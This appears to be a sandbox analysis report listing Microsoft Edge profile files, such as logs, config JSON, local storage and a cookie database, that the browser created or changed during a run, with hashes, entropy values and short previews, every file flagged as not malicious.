C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324600660942329
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RB:C1gAg1zfv5
MD5:	0615E1FB26915881A4C4B51A08E3539C
SHA1:	C13B28DBE92FCC39BD661F6133807C2D11C0FED9
SHA-256:	75F1D08D167247C910922C5D6334DD01D0B505D369A99F4CE0C6519DE99B3203
SHA-512:	BB8E1293943C31443A5D1BE1B0FA35C5A062FE183DEC39C7ECFD7B20C872B03E19F8D2DD505861875836A1507866572C2576B6E7219B6B95AA447056455929EF
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.233211736327685
Encrypted:	false
SSDEEP:	6:HUHTAAVq2PcNwi23oH+Tcwt8aPrqIFUt8YUH8TgZmw+YUH8TIkwOcNwi23oH+TcD:UPvLZYebL3FUt8Z/+z54ZYebQJ
MD5:	92BF0547096594526A19153BC648DB5A
SHA1:	7D556007586E79A6B0FAA105E7E6A73489C397FC
SHA-256:	944C98E0D924EDFDCF966D527CFFA73C8E060EB00C44B14805E3650B4868709F
SHA-512:	299D1DB86F20B6D215EFDC538B934AD6E05DEE771B6B28ED53AA6083D48972E20A8203981998506DBFAFB2AFC109D39127AED60B0915EF405FD7FF3605069976
Malicious:	false
Preview:	2024/11/15-03:55:31.292 674 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/15-03:55:31.293 674 Recovering log #3.2024/11/15-03:55:31.293 674 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.233211736327685
Encrypted:	false
SSDEEP:	6:HUHTAAVq2PcNwi23oH+Tcwt8aPrqIFUt8YUH8TgZmw+YUH8TIkwOcNwi23oH+TcD:UPvLZYebL3FUt8Z/+z54ZYebQJ
MD5:	92BF0547096594526A19153BC648DB5A
SHA1:	7D556007586E79A6B0FAA105E7E6A73489C397FC
SHA-256:	944C98E0D924EDFDCF966D527CFFA73C8E060EB00C44B14805E3650B4868709F
SHA-512:	299D1DB86F20B6D215EFDC538B934AD6E05DEE771B6B28ED53AA6083D48972E20A8203981998506DBFAFB2AFC109D39127AED60B0915EF405FD7FF3605069976
Malicious:	false
Preview:	2024/11/15-03:55:31.292 674 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/15-03:55:31.293 674 Recovering log #3.2024/11/15-03:55:31.293 674 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.229978085100844
Encrypted:	false
SSDEEP:	6:HUHqlVq2PcNwi23oH+Tcwt865IFUt8YUHhj3AgZmw+YUHnTIkwOcNwi23oH+Tcwx:hvLZYeb/WFUt8vj3J/+ts54ZYeb/+SJ
MD5:	A401ABCCF9E6280C48A35226CC32357D
SHA1:	DF8AB59B870AC925FC73EAA4ADD886586520EECE
SHA-256:	3341470634EB43091966686160717B96FB3A53D82CE47B85A6237CA436EDB444
SHA-512:	EA5B0E6B99469E8359E68D7AE64CC96376980F1C26B25BA9A95997C4571A4B04F2936F5D29DB746D4B0CAB0E1CCB9D00AF3573D8A3727286BEF6F880DC773768
Malicious:	false
Preview:	2024/11/15-03:55:31.338 674 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/15-03:55:31.345 674 Recovering log #3.2024/11/15-03:55:31.346 674 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.229978085100844
Encrypted:	false
SSDEEP:	6:HUHqlVq2PcNwi23oH+Tcwt865IFUt8YUHhj3AgZmw+YUHnTIkwOcNwi23oH+Tcwx:hvLZYeb/WFUt8vj3J/+ts54ZYeb/+SJ
MD5:	A401ABCCF9E6280C48A35226CC32357D
SHA1:	DF8AB59B870AC925FC73EAA4ADD886586520EECE
SHA-256:	3341470634EB43091966686160717B96FB3A53D82CE47B85A6237CA436EDB444
SHA-512:	EA5B0E6B99469E8359E68D7AE64CC96376980F1C26B25BA9A95997C4571A4B04F2936F5D29DB746D4B0CAB0E1CCB9D00AF3573D8A3727286BEF6F880DC773768
Malicious:	false
Preview:	2024/11/15-03:55:31.338 674 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/15-03:55:31.345 674 Recovering log #3.2024/11/15-03:55:31.346 674 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.156132846173175
Encrypted:	false
SSDEEP:	6:HUHbVu0qM+q2PcNwi23oH+Tcwt8NIFUt8YUHbVu0XZmw+YUHbNMVkwOcNwi23oHt:iM03+vLZYebpFUt85M0X/+5eV54ZYeb2
MD5:	42A2C5A8C332968763A1DC6045AEF4A0
SHA1:	FA88C678AFD00500858508F10756F80184854A18
SHA-256:	D57CF740C91DFDF12A9662C18D57044310305C076EFFA3DC12EFEBEC4F58184A
SHA-512:	75F62E905E3F33AEBF6FC6E7DE2D2D6FDA76FBE1627DE63F247884305E0FBA63FC8A0AF45FBD8C2EBB74EE54C9B8C24FC31BD74B589F4408771DA955E5D9AED7
Malicious:	false
Preview:	2024/11/15-03:55:32.642 1aac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/15-03:55:32.642 1aac Recovering log #3.2024/11/15-03:55:32.643 1aac Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.156132846173175
Encrypted:	false
SSDEEP:	6:HUHbVu0qM+q2PcNwi23oH+Tcwt8NIFUt8YUHbVu0XZmw+YUHbNMVkwOcNwi23oHt:iM03+vLZYebpFUt85M0X/+5eV54ZYeb2
MD5:	42A2C5A8C332968763A1DC6045AEF4A0
SHA1:	FA88C678AFD00500858508F10756F80184854A18
SHA-256:	D57CF740C91DFDF12A9662C18D57044310305C076EFFA3DC12EFEBEC4F58184A
SHA-512:	75F62E905E3F33AEBF6FC6E7DE2D2D6FDA76FBE1627DE63F247884305E0FBA63FC8A0AF45FBD8C2EBB74EE54C9B8C24FC31BD74B589F4408771DA955E5D9AED7
Malicious:	false
Preview:	2024/11/15-03:55:32.642 1aac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/15-03:55:32.642 1aac Recovering log #3.2024/11/15-03:55:32.643 1aac Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:bG/RtFlljq7A/mhWJFuQ3yy7IOWUfdweytllrE9SFcTp4AGbNCV9RUIx:yK75fOtd0Xi99pEY/
MD5:	5984FE30F55E3AD1A7A86F09814F8A13
SHA1:	1BD7CBB64A3DDA5668AB425DD6D5E8ACD82DBB89
SHA-256:	16278E3AF00D59ADF1A978E11061440801EE316006B2C1D20AC0A2E45472ACED
SHA-512:	18ECC316948DF7A9029255A0818B54F4F07FEBD744B4C90B3CFC0C37F868C0FBEE3B4A9C2D58F47A2D75FE430BC1C37DE8DA7054934AAC4C2467C7D1E95D91F4
Malicious:	false
Preview:	.............)....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	414
Entropy (8bit):	5.251035894408179
Encrypted:	false
SSDEEP:	12:A+vLZYeb8rcHEZrELFUt8M/+SV54ZYeb8rcHEZrEZSJ:JlYeb8nZrExg8OoYeb8nZrEZe
MD5:	3273B2D751270F64AF36AD75DBC35240
SHA1:	E942A16F0B58D20EC650537A874534A591726188
SHA-256:	DAD925C026AF7BBADB28A6EE8797BC098A72B3048453C1EB918BE4C9908EFBBC
SHA-512:	08C0AE8B108C75D21BD7270FF682D8E672ECFA5600B49F09B0D8D4404B7FC8CBA8F460511DAC6C36ADACFFA7811FF432D79ECE8324FA32CC13F3B118C6CC54DA
Malicious:	false
Preview:	2024/11/15-03:55:35.388 1aac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/15-03:55:35.389 1aac Recovering log #3.2024/11/15-03:55:35.390 1aac Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	414
Entropy (8bit):	5.251035894408179
Encrypted:	false
SSDEEP:	12:A+vLZYeb8rcHEZrELFUt8M/+SV54ZYeb8rcHEZrEZSJ:JlYeb8nZrExg8OoYeb8nZrEZe
MD5:	3273B2D751270F64AF36AD75DBC35240
SHA1:	E942A16F0B58D20EC650537A874534A591726188
SHA-256:	DAD925C026AF7BBADB28A6EE8797BC098A72B3048453C1EB918BE4C9908EFBBC
SHA-512:	08C0AE8B108C75D21BD7270FF682D8E672ECFA5600B49F09B0D8D4404B7FC8CBA8F460511DAC6C36ADACFFA7811FF432D79ECE8324FA32CC13F3B118C6CC54DA
Malicious:	false
Preview:	2024/11/15-03:55:35.388 1aac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/15-03:55:35.389 1aac Recovering log #3.2024/11/15-03:55:35.390 1aac Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1409
Entropy (8bit):	5.607452738732435
Encrypted:	false
SSDEEP:	24:mtZWM9yUlHExb0l2rLr5gggXZEWVV03y1x4LHfhNKgFHHmQ5da2LoEJ7AGMyG:mtZH9yqM8XZDVV03Sx41HHHxda2LoEq1
MD5:	38B7D685AA0DF45368F3817DBCE78B51
SHA1:	5D054473B8DCAEE7A031D43D8D1D246D94A61288
SHA-256:	D489A96D354AE02DC14296666BF3AD096F87A1A0CF7E67CD8095352BD685EAAD
SHA-512:	916B87EE6ED42FED49AA96642E887EB9D639CA0C4E338625445B681DD69DF20185BA3502AB9FEBBB17C090D98AC89949555C74ABBDBD779033463E283DE55A61
Malicious:	false
Preview:	4k.Zz................VERSION.1..META:https://ntp.msn.com.............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":572}.!_https://ntp.msn.com..LastKnownPV..1731660941029.-_https://ntp.msn.com..LastVisuallyReadyMarker..1731660942459.._https://ntp.msn.com..MUID!.3206BAE9F57467FF075BAFD1F4D566D3.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1731660941115,"schedule":[20,33,4,-1,-1,-1,-1],"scheduleFixed":[20,33,4,-1,-1,-1,-1],"simpleSchedule":[18,48,36,13,46,28,20]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1731660940999.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241114.384"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.168091719613828
Encrypted:	false
SSDEEP:	6:HUHVWBJQ+q2PcNwi23oH+Tcwt8a2jMGIFUt8YUHVWQngZmw+YUHVwUEQVkwOcNwe:vJQ+vLZYeb8EFUt89g/+JEQV54ZYeb8N
MD5:	6C30D8C59D015B3DF16A83CA33FD4A73
SHA1:	0F18E44AD223934E9D8A27F8F6674EDA59C17086
SHA-256:	7A8C94D27ACD4EA895DEF5AB3F95B945DD93CD60B7372C046EA5EADC24F389BB
SHA-512:	0B10283E13F9567B6280AE7918B87EBA5F94883B96E55E7CE3BF92E078F1A642CD37836531CF03FE11ACDAE9BA802179FFCEAF617CD96E9E0406DCD63DDD010A
Malicious:	false
Preview:	2024/11/15-03:55:33.134 19bc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/15-03:55:33.135 19bc Recovering log #3.2024/11/15-03:55:33.143 19bc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.168091719613828
Encrypted:	false
SSDEEP:	6:HUHVWBJQ+q2PcNwi23oH+Tcwt8a2jMGIFUt8YUHVWQngZmw+YUHVwUEQVkwOcNwe:vJQ+vLZYeb8EFUt89g/+JEQV54ZYeb8N
MD5:	6C30D8C59D015B3DF16A83CA33FD4A73
SHA1:	0F18E44AD223934E9D8A27F8F6674EDA59C17086
SHA-256:	7A8C94D27ACD4EA895DEF5AB3F95B945DD93CD60B7372C046EA5EADC24F389BB
SHA-512:	0B10283E13F9567B6280AE7918B87EBA5F94883B96E55E7CE3BF92E078F1A642CD37836531CF03FE11ACDAE9BA802179FFCEAF617CD96E9E0406DCD63DDD010A
Malicious:	false
Preview:	2024/11/15-03:55:33.134 19bc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/15-03:55:33.135 19bc Recovering log #3.2024/11/15-03:55:33.143 19bc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\168b24b2-3c3d-4b68-a1bf-1c1b05d15a3d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1650
Entropy (8bit):	5.308335768508757
Encrypted:	false
SSDEEP:	48:YcCpfgCzsxTtsPfc7leeBakEspCgHlYhbyDF:F2fa02keBaklTihy
MD5:	5290F8512002D7D5A0F5438A69191B11
SHA1:	D722EE074CF5B9B53D9F716D8414BAB9F761CAC6
SHA-256:	D968CC680F8AA18CD9EAAB393BF9166223121CF756AC5FF5F17CD8593DB8F680
SHA-512:	78F05D630FE84741D24A428BC82E540D575A2FAB688191248B42CEA34E405AFE463DCEB6518FAB15FA187E6615E8013C5A7AF6E6D345F16D48FA946E8F93E3F8
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378726535001158","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378726537707706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\378ea953-5411-48a0-91ce-a42771f2a5ce.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\56d17887-1f05-42c4-bfc1-8398c710edd5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\814d0627-f00b-4776-a149-e37edf337737.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\8e56933f-1b7e-400b-96ac-9c210719eb16.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7698330292383697
Encrypted:	false
SSDEEP:	192:tT1pn3evxsGPBpzJCFxeiPEXcf0L/ZJVb:V1pnOvxvPBxJCAXI0LhJVb
MD5:	217068E43C2632DE6B1DB3B85CD057A4
SHA1:	591E7C33650A627FEF8A88F16917D22C96612E73
SHA-256:	73C2AE497021EF4E9508577EA17094233794EC09F3939AC8164596D132C9B4E6
SHA-512:	8968848607E6A297BA1078C7BCE5F785CB2DA18464BE3F6931C5A1B1A50FD0FA10A675A788D05BAB0CC644ED5FAAAB73E56DDCBDE3ECC67878BA1D8980227776
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

